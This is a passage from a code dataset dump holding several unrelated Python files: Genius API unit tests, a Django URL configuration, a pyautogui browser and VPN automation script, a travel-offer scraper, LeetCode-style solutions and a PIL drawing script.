genius.referents(song_id=1, web_page_id=1)\n\n def test_referents_no_inputs(self):\n # Must supply `song_id`, `web_page_id`, or `created_by_id`.\n with self.assertRaises(AssertionError):\n genius.referents()\n\n def test_annotation(self):\n msg = \"Returned annotation API path is different than expected.\"\n id_ = 10225840\n r = genius.annotation(id_)\n real = r['annotation']['api_path']\n expected = '/annotations/10225840'\n self.assertEqual(real, expected, msg)\n\n def test_song_annotations(self):\n msg = \"Incorrect song annotation response.\"\n r = sorted(genius.song_annotations(1))\n real = r[0][0]\n expected = \"And I’ma keep ya fresh\"\n self.assertEqual(real, expected, msg)\n\n def test_get_webpage(self):\n msg = \"Returned web page API path is different than expected.\"\n url = \"https://docs.genius.com\"\n r = genius.web_page(raw_annotatable_url=url)\n real = r['web_page']['api_path']\n expected = '/web_pages/10347'\n self.assertEqual(real, expected, msg)\n\n def test_manage_annotation(self):\n example_text = 'The annotation'\n new_annotation = genius.create_annotation(\n example_text,\n 'https://example.com',\n 'illustrative examples',\n title='test')['annotation']\n msg = 'Annotation text did not match the one that was passed.'\n self.assertEqual(new_annotation['body']['plain'], example_text, msg)\n\n example_text_two = 'Updated annotation'\n r = genius.update_annotation(\n new_annotation['id'],\n example_text_two,\n 'https://example.com',\n 'illustrative examples',\n title='test'\n )['annotation']\n msg = 'Updated annotation text did not match the one that was passed.'\n self.assertEqual(r['body']['plain'], example_text_two, msg)\n\n r = genius.upvote_annotation(11828417)\n msg = 'Upvote was not registered.'\n self.assertTrue(r is not None, msg)\n\n r = genius.downvote_annotation(11828417)\n msg = 'Downvote was not registered.'\n self.assertTrue(r is not None, msg)\n\n r = genius.unvote_annotation(11828417)\n msg = 'Vote was not removed.'\n self.assertTrue(r is not None, msg)\n\n msg = 'Annotation was not deleted.'\n r = genius.delete_annotation(new_annotation['id'])\n self.assertEqual(r, 204, msg)\n\n\nclass TestArtist(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n print(\"\\n---------------------\\nSetting up Artist tests...\\n\")\n cls.artist_name = \"The Beatles\"\n cls.new_song = \"Paperback Writer\"\n cls.max_songs = 2\n cls.artist = genius.search_artist(\n cls.artist_name, max_songs=cls.max_songs)\n\n def test_artist(self):\n msg = \"The returned object is not an instance of the Artist class.\"\n self.assertIsInstance(self.artist, Artist, msg)\n\n def test_correct_artist_name(self):\n msg = \"Returned artist name does not match searched artist.\"\n name = \"Queen\"\n result = genius.search_artist(name, max_songs=1).name\n self.assertEqual(name, result, msg)\n\n def test_zero_songs(self):\n msg = \"Songs were downloaded even though 0 songs was requested.\"\n name = \"Queen\"\n result = genius.search_artist(name, max_songs=0).songs\n self.assertEqual(0, len(result), msg)\n\n def test_name(self):\n msg = \"The artist object name does not match the requested artist name.\"\n self.assertEqual(self.artist.name, self.artist_name, msg)\n\n def test_add_song_from_same_artist(self):\n msg = \"The new song was not added to the artist object.\"\n self.artist.add_song(genius.search_song(self.new_song, self.artist_name))\n self.assertEqual(self.artist.num_songs, self.max_songs + 1, msg)\n\n def test_song(self):\n msg = \"Song was not in artist's songs.\"\n song = self.artist.song(self.new_song)\n self.assertIsNotNone(song, msg)\n\n def test_add_song_from_different_artist(self):\n msg = \"A song from a different artist was incorrectly allowed to be added.\"\n self.artist.add_song(genius.search_song(\"These Days\", \"Jackson Browne\"))\n self.assertEqual(self.artist.num_songs, self.max_songs, msg)\n\n def test_artist_with_includes_features(self):\n # The artist did not get songs returned that they were featured in.\n name = \"Swae Lee\"\n result = (genius\n .search_artist(\n name,\n max_songs=1,\n include_features=True)\n .songs[0]\n ._body['primary_artist']['name'])\n self.assertNotEqual(result, name)\n\n def determine_filenames(self, extension):\n expected_filenames = []\n for song in self.artist.songs:\n fn = \"lyrics_{name}_{song}.{ext}\".format(name=self.artist.name,\n song=song.title,\n ext=extension)\n fn = sanitize_filename(fn.lower().replace(\" \", \"\"))\n expected_filenames.append(fn)\n return expected_filenames\n\n def test_saving_json_file(self):\n print('\\n')\n extension = 'json'\n msg = \"Could not save {} file.\".format(extension)\n expected_filename = ('Lyrics_'\n + self.artist.name.replace(' ', '')\n + '.'\n + extension)\n\n # Remove the test file if it already exists\n if os.path.isfile(expected_filename):\n os.remove(expected_filename)\n\n # Test saving json file\n self.artist.save_lyrics(extension=extension, overwrite=True)\n self.assertTrue(os.path.isfile(expected_filename), msg)\n\n # Test overwriting json file (now that file is written)\n try:\n self.artist.save_lyrics(extension=extension, overwrite=True)\n except Exception:\n self.fail(\"Failed {} overwrite test\".format(extension))\n os.remove(expected_filename)\n\n def test_saving_txt_file(self):\n print('\\n')\n extension = 'txt'\n msg = \"Could not save {} file.\".format(extension)\n expected_filename = ('Lyrics_'\n + self.artist.name.replace(' ', '')\n + '.'\n + extension)\n\n # Remove the test file if it already exists\n if os.path.isfile(expected_filename):\n os.remove(expected_filename)\n\n # Test saving txt file\n self.artist.save_lyrics(extension=extension, overwrite=True)\n self.assertTrue(os.path.isfile(expected_filename), msg)\n\n # Test overwriting txt file (now that file is written)\n try:\n self.artist.save_lyrics(\n extension=extension, overwrite=True)\n except Exception:\n self.fail(\"Failed {} overwrite test\".format(extension))\n os.remove(expected_filename)\n\n\nclass TestSong(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n print(\"\\n---------------------\\nSetting up Song tests...\\n\")\n cls.artist_name = 'Andy Shauf'\n cls.song_title = 'begin again' # Lowercase is intentional\n cls.album = 'The Party'\n cls.year = '2016-05-20'\n cls.song = genius.search_song(cls.song_title, cls.artist_name)\n genius.remove_section_headers = True\n cls.song_trimmed = genius.search_song(cls.song_title, cls.artist_name)\n\n def test_song(self):\n msg = \"The returned object is not an instance of the Song class.\"\n self.assertIsInstance(self.song, Song, msg)\n\n def test_title(self):\n msg = \"The returned song title does not match the title of the requested song.\"\n self.assertEqual(genius._clean_str(self.song.title),\n genius._clean_str(self.song_title), msg)\n\n def test_artist(self):\n # The returned artist name does not match the artist of the requested song.\n self.assertEqual(self.song.artist, self.artist_name)\n\n def test_album(self):\n msg = \"The returned album name does not match the album of the requested song.\"\n self.assertEqual(self.song.album, self.album, msg)\n\n def test_year(self):\n msg = \"The returned year does not match the year of the requested song\"\n self.assertEqual(self.song.year, self.year, msg)\n\n def test_lyrics_raw(self):\n lyrics = '[Verse 1: Andy Shauf]'\n self.assertTrue(self.song.lyrics.startswith(lyrics))\n\n def test_lyrics_no_section_headers(self):\n lyrics = 'Begin again\\nThis time you should take a bow at the'\n self.assertTrue(self.song_trimmed.lyrics.startswith(lyrics))\n\n def test_media(self):\n msg = \"The returned song does not have a media attribute.\"\n self.assertTrue(hasattr(self.song, 'media'), msg)\n\n def test_result_is_lyrics(self):\n msg = \"Did not reject a false-song.\"\n self.assertFalse(genius._result_is_lyrics('Beatles Tracklist'), msg)\n\n def test_producer_artists(self):\n # Producer artist should be 'Andy Shauf'.\n self.assertEqual(self.song.producer_artists[0][\"name\"], \"Andy Shauf\")\n\n def test_saving_json_file(self):\n print('\\n')\n extension = 'json'\n msg = \"Could not save {} file.\".format(extension)\n expected_filename = 'lyrics_save_test_file.' + extension\n filename = expected_filename.split('.')[0]\n\n # Remove the test file if it already exists\n if os.path.isfile(expected_filename):\n os.remove(expected_filename)\n\n # Test saving json file\n self.song.save_lyrics(filename=filename, extension=extension, overwrite=True)\n self.assertTrue(os.path.isfile(expected_filename), msg)\n\n # Test overwriting json file (now that file is written)\n try:\n self.song.save_lyrics(\n filename=expected_filename, extension=extension, overwrite=True)\n os.remove(expected_filename)\n except Exception:\n self.fail(\"Failed {} overwrite test\".format(extension))\n os.remove(expected_filename)\n\n def test_saving_txt_file(self):\n print('\\n')\n extension = 'txt'\n msg = \"Could not save {} file.\".format(extension)\n expected_filename = 'lyrics_save_test_file.' + extension\n filename = expected_filename.split('.')[0]\n\n # Remove the test file if it already exists\n if os.path.isfile(expected_filename):\n os.remove(expected_filename)\n\n # Test saving txt file\n self.song.save_lyrics(filename=filename,\n extension=extension,\n overwrite=True)\n self.assertTrue(os.path.isfile(expected_filename), msg)\n\n # Test overwriting txt file (now that file is written)\n try:\n self.song.save_lyrics(filename=filename,\n extension=extension,\n overwrite=True)\n except Exception:\n self.fail(\"Failed {} overwrite test\".format(extension))\n os.remove(expected_filename)\n\n\nclass TestLyrics(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n print(\"\\n---------------------\\nSetting up lyrics tests...\\n\")\n cls.song_url = \"https://genius.com/Andy-shauf-begin-again-lyrics\"\n cls.song_id = 2885745\n cls.lyrics_ending = (\n \"[Outro]\"\n \"\\nNow I’m kicking leaves\"\n \"\\nCursing the one that I love and the one I don’t\"\n \"\\nI wonder who you’re thinking of\"\n )\n\n def test_lyrics_with_url(self):\n lyrics = genius.lyrics(self.song_url)\n self.assertTrue(lyrics.endswith(self.lyrics_ending))\n\n def test_lyrics_with_id(self):\n lyrics = genius.lyrics(self.song_id)\n self.assertTrue(lyrics.endswith(self.lyrics_ending))\n","sub_path":"tests/test_genius.py","file_name":"test_genius.py","file_ext":"py","file_size_in_byte":14587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"595647379","text":"from django.conf.urls import url\nfrom django.conf import settings\nfrom .views import ListadoClientes, ModificarCliente, DetalleCliente , NuevoCliente , EliminarCliente,ModificarDocumento,EliminarDocumento\nfrom .views import DocumentosNuevo, FotoNueva, ModificarFoto, EliminarFoto\nfrom . import views\nfrom django.conf.urls.static import static\n\napp_name = 'clientes'\n\nurlpatterns = [\n\n url(r'^listado_clientes/$', ListadoClientes.as_view(), name=\"listado_clientes\"),\n url(r'^detalle_cliente/(?P.+)/$', DetalleCliente.as_view(), name=\"detalle_cliente\"),\n url(r'^modificar_cliente/(?P.+)/$', ModificarCliente.as_view(), name=\"modificar_cliente\"),\n url(r'^nuevo_cliente/', NuevoCliente.as_view(), name=\"nuevo_cliente\"),\n url(r'^cliente/(?P[0-9]+)/delete/$', EliminarCliente.as_view(), name=\"cliente_eliminar\"),\n\n\n url(r'^documentos_cliente/(?P[0-9-]+)/$', views.documentos_cliente, name=\"documentos_cliente\"),\n url(r'^documentos_nuevo/(?P[0-9]+)/$', DocumentosNuevo.as_view(), name=\"documentos_nuevo\"),\n url(r'^documento_modificar/(?P[0-9]+)/$', ModificarDocumento.as_view(), name=\"documento_modificar\"),\n url(r'^documento/(?P[0-9]+)/delete/$', EliminarDocumento.as_view(), name=\"documento_eliminar\"),\n\n url(r'^fotos_cliente/(?P[0-9-]+)/$', views.fotos_cliente, name=\"fotos_cliente\"),\n url(r'^foto_nueva/(?P[0-9]+)/$', FotoNueva.as_view(), name=\"foto_nueva\"),\n url(r'^foto_modificar/(?P[0-9]+)/$', ModificarFoto.as_view(), name=\"foto_modificar\"),\n url(r'^foto/(?P[0-9]+)/delete/$', EliminarFoto.as_view(), name=\"foto_eliminar\"),\n]\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n\n\n\n","sub_path":"clientes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"113306493","text":"\nfrom datetime import datetime\nimport time\nimport pyautogui\n\nHOXX_ICON = (707,77)\n\n\n\ndef start_browser():\n\tpyautogui.click(22,585)\n\tpyautogui.PAUSE = 3\n\tpyautogui.moveTo(58,378)\n\tpyautogui.PAUSE = 3\n\tpyautogui.moveTo(270,377)\n\tpyautogui.PAUSE = 3\n\tpyautogui.click(270,377)\n\ttime.sleep(75)\n\ndef dissconnect():\n\tpyautogui.click(HOXX_ICON)\n\ttime.sleep(30)\n\tpyautogui.click(570,474)\n\ttime.sleep(15)\n\ndef enter_addres():\n\tpyautogui.click(186,76)\n\ttime.sleep(2)\n\tpyautogui.typewrite('https://cryt.crytrex.com/')\n\ttime.sleep(2)\n\tpyautogui.press('enter')\n\ttime.sleep(30)\n\ndef set_vpn():\n\tpyautogui.click(HOXX_ICON)\n\ttime.sleep(30)\n\tpyautogui.click(510,404)\n\ttime.sleep(30)\n\n\n\nstart_browser()\nset_vpn()\nenter_addres()\ntime.sleep(30)\ndissconnect()\n\n","sub_path":"cryt_focet.py","file_name":"cryt_focet.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"500723590","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[224]:\n\n\nimport requests\nfrom bs4 import BeautifulSoup as bs\nfrom random import randint\nfrom time import sleep\n\n\n# In[225]:\n\n\n#urls are divided for website crawling\nbase_url = 'https://www.travelplanet.pl/wczasy/oferty/'\nsetup_url = '/?wylot=23.07.2019&przylot=31.08.2019&osoby=4&czas=6:8&lotnisko=Gdansk,Olsztyn,Warszawa,Warszawa%20-%20Modlin&wyzywienie=1&dojazd=F&sortowanie=4&kolejnosc=up&limit=75'\n#headers from my chrome website to request works\nheader = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36'}\nall_trips = []\nr = requests.get(base_url + setup_url, headers=header)\nc = r.content\nsoup = bs(c, \"html.parser\")\n#variables for page crawling, page_nr is the maximum visible number in pagination \npage_nr = int(soup.find('nav', {'class' : 'pagination'}).text.replace(\"\\n\", '').replace(\"...Następna\",\"\").replace(\" \",'')[-2])\npage = 1\nwhile page <= page_nr:\n r = requests.get(base_url + str(page) + setup_url, headers=header)\n c = r.content\n soup = bs(c, \"html.parser\")\n all_offerts = soup.find_all('section', {'class': 'offer-item'})\n #page crawaling - increasing page_nr because of increasing pagination type on website\n try:\n page_nr = int(soup.find('nav', {'class' : 'pagination'}).text.replace(\"\\n\", '').replace(\"...Następna\",\"\").replace(\" \",'')[-2])\n except:\n pass\n for item in all_offerts:\n #dictionary created to store data for each trip, then it is appended to the list of all trips - for pandas\n single_trip = {}\n #to list all localization using list comprehesion with if statement to omitt blank strings\n try:\n single_trip[\"Localization\"] = [locality for locality in item.find('nav', {'class' : 'breadcrumb-inline-oi'}).text.split('\\n') if locality]\n except:\n single_trip[\"Localization\"] = None\n try:\n single_trip[\"Price\"] = float(item.find('span', {'class' : 'pb-hp-onepreson'}).text.replace(\" \", \"\").replace(\"zł/1os.\", \"\"))\n except:\n single_trip[\"Price\"] = None \n try:\n single_trip[\"Hotel Name\"] = item.find('span', {'class' : 'oi-h-l-txt'}).text.replace('\\n', \"\")\n except:\n single_trip[\"Hotel Name\"] = None\n #for number of stars, use of string conocation with if statement \n for i in range(1,6):\n if ('stars-' + str(i)) in str(item.find('span', {'class' : 'oi-h-l-txt'})):\n single_trip[\"Hotel Stars\"] = i\n\n properties = [\"Days\" , \"Date\", \"Airport\", \"Accomodation Type\", \"Travel Agency\"]\n try:\n single_trip[\"Days\"] = item.find_all('span', {'class' : 'oi-d-content'})[0].text.replace(\" dni\",\"\")\n except:\n single_trip[\"Days\"] = None\n try:\n single_trip[\"Date\"] = item.find_all('span', {'class' : 'oi-d-content'})[1].text.replace(\" \",'').replace('inneterminy','').replace(\"-\",'.2019-') + \".2019\"\n except:\n single_trip[\"Date\"] = None\n try:\n single_trip[\"Airport\"] = item.find_all('span', {'class' : 'oi-d-content'})[2].text.replace(\"\\n\", \"\").replace(\" \",'')\n except:\n single_trip[\"Airport\"] = None\n try:\n single_trip[\"Accomodation Type\"] = item.find_all('span', {'class' : 'oi-d-content'})[3].text.replace('\\n', '')\n except:\n single_trip[\"Accomodation Type\"] = None\n try:\n single_trip[\"Travel Agency\"] = item.find_all('span', {'class' : 'oi-d-content'})[4].text\n except:\n single_trip[\"Travel Agency\"] = None\n\n\n all_trips.append(single_trip)\n page += 1\n sleep(randint(1, 10))\n\n\n\n\n# In[220]:\n\n\nimport pandas\ndf = pandas.DataFrame(all_trips)\n\n\n# In[221]:\n\n\ndf\n\n\n# In[223]:\n\n\ndf.to_excel('LastMinuteTripsTuiData.xlsx')\n\n","sub_path":"tui_scraper.py","file_name":"tui_scraper.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"310798945","text":"# Problem: Given a string S and a string T, find the minimum window in S which will contain all the characters in T in complexity O(n).\n\n# Input: S = \"ADOBECODEBANC\", T = \"ABC\"\n# Output: \"BANC\"\n\n\nS = \"ADOBECODEBANC\"\nT = \"ABC\"\n\n\ndef form_dict(str):\n d = {}\n for s in str:\n if s in d:\n d[s] += 1\n else:\n d[s] = 1\n return d\n\ndef is_dict_full(str, Td):\n for s in str:\n if s not in Td:\n continue\n else:\n Td[s] -= 1\n Td[s] = max(0, Td[s])\n\n return not bool(sum(Td.values()))\n\n\ndef minWindow(s, t):\n\n t_dict = form_dict(t)\n t_dict_ = t_dict.copy()\n i,j = 0, 0\n\n min_substr_len_sofar = len(s) + 1\n min_substr = \"\"\n while j < len(s) and i < len(s):\n isfull = is_dict_full(s[i: (j+1)], t_dict_)\n if isfull or (j + 1 == len(s)):\n if isfull and (j - i + 1 < min_substr_len_sofar):\n min_substr_len_sofar = j - i + 1\n min_substr = s[i: (j+1)]\n\n i += 1\n else:\n j += 1\n\n t_dict_ = t_dict.copy()\n\n if min_substr_len_sofar == len(s) + 1:\n min_substr_len_sofar = 0\n min_substr = \"\"\n\n return min_substr\n\n\nprint(minWindow(S,T))\n","sub_path":"datastructures_algorithms/String/String-MinimumWindowSubstring.py","file_name":"String-MinimumWindowSubstring.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"537612267","text":"# -*- coding: utf-8 -*-\nimport unittest\n\ndef solve(first, second):\n num = len(first)\n if num < 1:\n return 0\n elif num == 1 and first[0] == '':\n return 0\n return s1(num, first, second)\n\ndef s1(num, first, second):\n talks = {}\n for i in xrange(num):\n talks[first[i]] = 0\n talks[second[i]] = 0\n for i in xrange(num):\n talks[first[i]] = talks[first[i]] + 1\n talks[second[i]] = talks[second[i]] + 1\n return max(talks.values())\n\ndef s2(num, first, second):\n ans = 0\n for i in xrange(num):\n f = 0\n s = 0\n for j in xrange(num):\n if first[i] == first[j]: f += 1\n if first[i] == second[j]: f += 1\n if second[i] == first[j]: s += 1\n if second[i] == second[j]: s += 1\n ans = max([f, ans])\n ans = max([s, ans])\n return ans\n\nclass Test(unittest.TestCase):\n def test(self):\n self.assertEqual(\n solve([], []),\n 0)\n self.assertEqual(\n solve([''], ['']),\n 0)\n self.assertEqual(\n solve(['aa', 'bb', 'cc', 'aa'],\n ['ee', 'aa', 'aa', 'ff']),\n 4)\n self.assertEqual(\n solve(['aa', 'bb', 'cc', 'ee'],\n ['ff', 'gg', 'hh', 'ii']),\n 1)\n self.assertEqual(\n solve(['aa', 'bb', 'cc', 'ee'],\n ['ff', 'gg', 'hh', 'gg']),\n 2)\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"books/saikyou-saisoku/chapter05/interesting_party.py","file_name":"interesting_party.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"649169017","text":"qw=int(input())\nad=[]\nfor i in range(0,qw):\n io=input()\n ad.append(io)\nff=[]\nfor i in zip(*ad):\n if(i.count(i[0])==len(i)):\n ff.append(i[0])\n else:\n break\nprint(''.join(ff)) \n","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"628864623","text":"class Maps():\n\t\n\tdef __init__(self, maps):\n\t\tself.map_data = []\n\n\t\tfor line in maps:\n\t\t\tline = line.strip('\\n')\n\t\t\tline = (line,)\n\t\t\tself.map_data.append(line)\n\n\tdef show_map(self):\n\t\tx=-1\n\n\t\tfor line in self.map_data:\n\t\t\tstring = line[0]\n\t\t\tif x >= len(string):\n\t\t\t\tx = x - len(string) \n\t\t\tprint(string[x])\n\t\t\tprint(f\"{string}\\n\")\n\t\t\tx+=3\n\n\tdef tree(self):\n\t\tx = 0\n\t\ttrees = 0\n\t\tfor line in self.map_data:\n\t\t\tstring = line[0]\n\t\t\tif string[x] == \"#\":\n\t\t\t\ttrees+=1\n\t\t\tx+=3\n\t\t\tif x >= len(string):\n\t\t\t\tx = x - len(string) \n\t\tprint(trees)\n\n\n\nwith open('f:\\\\Documents\\\\GitHub\\\\python-work\\\\Advent_of_code\\\\aoc_day3\\\\input.txt', 'r') as maps:\n\ttobo_map = Maps(maps)\n\t# tobo_map.show_map()\n\ttobo_map.tree()\n","sub_path":"Advent_of_code/aoc_day3/aoc_day_3_prt_1.py","file_name":"aoc_day_3_prt_1.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"473654474","text":"import tensorflow as tf\n\ndef lrelu(x, leak=0.1):\n f1 = 0.5 * (1 + leak)\n f2 = 0.5 * (1 - leak)\n return f1 * x + f2 * abs(x)\n\ndef dense(x, n_in, n_out, scope = None, with_w = False, xavier = False):\n with tf.variable_scope(scope or \"Linear\"):\n matrix = tf.get_variable(\"Matrix\", [n_in, n_out], tf.float32, tf.contrib.layers.xavier_initializer() if xavier else tf.random_normal_initializer(stddev=0.02))\n bias = tf.get_variable(\"bias\", [n_out], initializer = tf.constant_initializer(0.0))\n if with_w:\n return tf.matmul(x, matrix) + bias, matrix, bias\n else:\n return tf.matmul(x, matrix) + bias\n","sub_path":"ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"572420838","text":"\"\"\"\n198. 打家劫舍\n\n你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。\n\n给定一个代表每个房屋存放金额的非负整数数组,计算你在不触动警报装置的情况下,能够偷窃到的最高金额。\n\n示例 1:\n\n输入: [1,2,3,1]\n输出: 4\n解释: 偷窃 1 号房屋 (金额 = 1) ,然后偷窃 3 号房屋 (金额 = 3)。\n 偷窃到的最高金额 = 1 + 3 = 4 。\n示例 2:\n\n输入: [2,7,9,3,1]\n输出: 12\n解释: 偷窃 1 号房屋 (金额 = 2), 偷窃 3 号房屋 (金额 = 9),接着偷窃 5 号房屋 (金额 = 1)。\n 偷窃到的最高金额 = 2 + 9 + 1 = 12 。\n\n\"\"\"\n\n\nclass Solution:\n\n def rob(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n if len(nums)==1:\n return nums[0]\n a = nums[0]\n b = max([nums[0], nums[1]])\n\n for x in range(2,len(nums)):\n a,b = b,max(a+nums[x],b)\n\n return b\n\n def rob5(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n if len(nums)==1:\n return nums[0]\n if len(nums)==2:\n return max(nums)\n\n max_num = max(nums)\n\n max_cnt = nums.count(max_num)\n\n\n max_index = nums.index(max_num)\n\n\n\n #print(max_index,nums[:max_index-1],nums[max_index+2:])\n x = max_num + self.rob4(nums[:max_index-1 if max_index-1 >=0 else 0]) + self.rob4(nums[max_index+2:])\n\n max_index = nums.index( max(nums))-1\n if max_index >= 0:\n max_num = nums[max_index]\n y = max_num + self.rob4(nums[:max_index - 1 if max_index - 1 >= 0 else 0]) + self.rob4(nums[max_index + 2:])\n else:\n y= -10000\n\n max_index = nums.index( max(nums)) + 1\n if max_index < len(nums):\n max_num = nums[max_index]\n z = max_num + self.rob4(nums[:max_index - 1 if max_index - 1 >= 0 else 0]) + self.rob4(nums[max_index + 2:])\n else:\n z = -10000\n print(x,y,z)\n return max([x,y,z])\n\n def rob4(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n if len(nums)==1:\n return nums[0]\n if len(nums)==2:\n return max(nums)\n\n max_num = max(nums)\n max_index = nums.index(max_num)\n max_cnt = nums.count(max_num)\n if max_cnt == 1:\n max_index = nums.index(max_num)\n else:\n\n max_index = nums.index(max_num, nums.index(max_num) + 1)\n #print(max_index,nums[:max_index-1],nums[max_index+2:])\n return max_num + self.rob(nums[:max_index-1 if max_index-1 >=0 else 0]) + self.rob(nums[max_index+2:])\n\n def rob3(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n if len(nums)==1:\n return nums[0]\n if len(nums)==2:\n return max(nums)\n\n max_num = max(nums)\n max_index = nums.index(max_num)\n print(max_index,nums[:max_index-1],nums[max_index+2:])\n return max_num + self.rob(nums[:max_index-1 if max_index-1 >=0 else 0]) + self.rob(nums[max_index+2:])\n\n def rob2(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n if len(nums)==1:\n return sum(nums)\n if len(nums)==2:\n return max(nums)\n lll = []\n s1= nums[0]\n s2 =nums[1]\n l1 = [nums[x] for x in range(len(nums)) if x % 2 == 0 ]\n l2 = [nums[x] for x in range(len(nums)) if x % 2 != 0 ]\n lll.append(sum(l1))\n lll.append(sum(l2))\n lll.append(sum(nums[1:2] +l1[2:]))\n lll.append(sum(nums[0:1] + l2[1:]))\n return max(lll)\n\n def rob1(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n l1 = [nums[x] for x in range(len(nums)) if x%2==0]\n l2 = [nums[x] for x in range(len(nums)) if x % 2 != 0]\n\n #print(sum(l1))\n #print(sum(l2))\n\n return sum(l1) if sum(l1)>sum(l2) else sum(l2)\n\n\n\nif __name__ == '__main__':\n ll = Solution().rob([183,219,57,193,94,233,202,154,65,240,97,234,100,249,186,66,90,238,168,128,177,235,50,81,185,165,217,207,88,80,112,78,135,62,228,247,211])\n print(ll)\n\n\n","sub_path":"leetcode/20180903/leetcode_198.py","file_name":"leetcode_198.py","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"331301049","text":"\n# Your input is a double array, and you can use *, +, -, and () parenthesis anywhere to create and output the maximum possible value. \n\n# Ex: \n# input is {3,4,5,1} --> output: 72 \n# input is {1,1,1,5} --> output: 15 \n\n# Follow up, if there are numbers <0\n\ndef find_max (A):\n \n if not A:\n return 0\n ones = 0\n zeros = 0\n twos = 0\n threes = 0\n min_val = A[0]\n r = 1\n\n for i in A:\n \n if i == 0:\n zeros += 1\n elif i == 1:\n ones += 1\n elif i < min_val:\n min_val = i\n else:\n r *= i\n\n if zeros == len(A):\n return 0\n elif ones == 1:\n r /= max_val\n r *= max_val+1\n elif ones:\n twos = ones/2\n threes = ones%2\n if threes:\n r *= 3\n twos -= 1\n r *= 2**twos\n print (ones, twos, threes)\n return r\n\n\nprint(find_max([3, 1, 4, 5]))\nprint(find_max([1, 1, 1, 1, 1, 1, 1, 1, 1, 5]))","sub_path":"python/misc/find_max_value.py","file_name":"find_max_value.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"431584840","text":"from PIL import Image, ImageDraw, ImageFont\n\n#tworzę nowa scenę dla obrazu\nimg = Image.new( 'RGB', (255,255), \"white\")\ndraw = ImageDraw.Draw(img)\n\n'''\n##### draw.line((x, y, x, y), fill=128) - funckja odpowiada za rysowanie linii\n- pierwszy X, Y to współrzedne początku linii\n- drugi X, Y to współrzedne końca linii\n- określeanie współrzecdnych zaczynamy od górnego, lewego naroźnika\n##### draw.rectangle([(30, 30), (90, 90)], fill=None, outline=128 - funkcja odpowiada za rysowanie prostokąta\n- współrzedne swóch przeciwległych wierzchołków\n##### draw.ellipse([(28, 28), (32, 32)], fill=128, outline=128) - funkcja rysuje elipsę\n##### draw.text((20, 20), \"20, 20\", fill=128, font=font, anchor=None)\n##### draw.arc([(30, 30), (60, 60)], 0, 360, fill=128) - rysuję łuk od 0 do 360 stopni, czyli okrąg\n'''\n\n'''OSIE X I Y'''\n#rysuję oś X\ndraw.line((6, 6, 6, 255), fill=128)\n#rysuję oś Y\ndraw.line((0, 248, 248, 248), fill=128)\n\n'''GROTY STRZAŁEK'''\n# górny grot lewa\ndraw.line((6, 0, 2, 6), fill=128)\n#górny grot prawa\ndraw.line((6, 0, 10, 6), fill=128)\n#górny grot strzałki dolnej\ndraw.line((255, 248, 250, 244), fill=128)\n#dolny grot strzałki dolnej\ndraw.line((255, 248, 250, 252), fill=128)\n#zamknięcie górnego grotu\ndraw.line((2, 6, 10, 6), fill=128)\n# zamknięcie dolnego grotu\ndraw.line((249, 244, 249, 252), fill=128)\n\n'''PROSTOKĄT'''\n#rysuję prostokąta\ndraw.rectangle([(30, 30), (75, 120)], fill=None, outline=128)\n\n'''RYSUJĘ OKRĄG Z ELIPSY I ŁUKU'''\n#rysuję okrąg z wykorzystaniem funkcji do rysowania łuku\ndraw.arc([(30, 30), (60, 60)], 0, 360, fill=128)\n#rysuje okrąg (punkt na krawędzi prostokąta) wykorzystukjąc funkcję elipsy \ndraw.ellipse([(28, 28), (32, 32)], fill=128, outline=128) #LEWY GÓRNY NAROŻNIK\ndraw.ellipse([(73, 28), (77, 32)], fill=128, outline=128) # PRAWY GÓRNY NAROŻNIK\ndraw.ellipse([(73, 118), (77, 122)], fill=128, outline=128) # PRAWY DOLNY 